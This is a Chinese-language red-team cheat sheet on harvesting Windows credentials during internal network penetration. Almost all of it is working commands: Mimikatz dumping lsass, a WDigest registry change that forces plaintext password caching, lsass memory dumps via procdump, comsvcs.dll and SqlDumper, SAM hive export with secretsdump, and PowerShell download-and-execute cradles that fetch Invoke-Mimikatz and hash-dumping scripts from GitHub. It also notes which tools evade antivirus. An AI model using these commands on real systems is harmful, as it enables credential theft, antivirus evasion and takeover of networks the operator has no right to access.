内网渗透之凭据获取
1、Mimikatz获取明文密码
直接从 lsass.exe 进程里获取windows处于active状态账号的明文密码。
读取明文密码原理:
在 Windows 中,当用户登录时,lsass.exe 使用一个可逆的算法加密明文,并会将密文保存在内存中,Mimikatz就是通过抓取内存去还原明文。
https://github.com/gentilkiwi/mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full"
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。重启或用户重新登录后可以成功抓取。
cmd修改注册表命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
2、Procdump+Mimikatz获取明文密码
Procdump是微软官方发布的一款调试工具,因此不会被各种杀毒软件查杀。通常使用procdump转储内存文件到本地再使用mimikatz抓取文件中的hash来躲避杀软检测。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
2.1、使用procdump将目标的lsass.exe转储成dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2.2、使用mimikatz从转储的lsass.dmp中来读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
3、Getpass获取明文密码
由闪电小子根据mimikatz编译的一个工具,可以直接获取明文密码。
4、Powershell脚本抓取 明文密码
前提是目标可出外网,否则需要将ps1脚本放置内网之中。
#抓明文
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/xxx.../Invoke-Mimikatz.ps1’);Invoke-Mimikatz -DumpCreds
#抓hash
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes
5、Sam破解
使用注册表来离线导出Hash:
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\security sec.hiv
5.1 导出后可以使用mimikatz加载sam.hiv和sys.hiv来导出Hash。
privilege::debug
token::elevate
lsadump::sam # lsadump::sam /sam:sam.hiv /system:sys.hiv
5.2 或者使用impacket 套件中secretsdump.py 脚本去解密。
python secretsdump.py -sam sam.hiv -security sec.hiv -system sys.hiv LOCAL
5.3 或者使用cain
6、 rundll32+Mimikatz获取明文密码
6.1 获取lsass.exe进程pid
tasklist|findstr lsass
6.2 进入powershell,执行rundll32.exe导出进程文件,使用Mimikatz读取密码
C:\Windows\System32\rundll32 C:\windows\system32\comsvcs.dll, MiniDump 504 C:\LSASS.dmp full
7、Wce
Wce是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。
抓明文:wce.exe -w
抓Hash:wce.exe -l
8、PwDump7
Pwdump7可以在CMD下直接提取系统中用户的密码Hash。
9、Quarks PwDump
Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取Windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
导出本地用户Hash:
Quarks PwDump.exe --dump-hash-local
配合Ntdsutil导出域用户Hash:
QuarksPwDump –dump-hash-domain –ntds-file c:\ntds_save.dit
10、SqlDumper + mimikatz
SqlDumper.exe是从SQL Server安装目录下提取出来的,功能和Procdump相似,并且也是微软出品的,体积远小于Procdump,也具备一定的免杀功能。
SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005
也可自己上传一个SqlDumper.exe。
10.1 查看lsass.exe 的ProcessID
tasklist /svc |findstr lsass.exe
10.2 导出dump文件
Sqldumper.exe ProcessID 0 0x01100
10.3 mimikatz加载dump文件
mimikatz.exe"sekurlsa::minidump SQLDmpr0001.mdmp""sekurlsa::logonPasswords full""exit"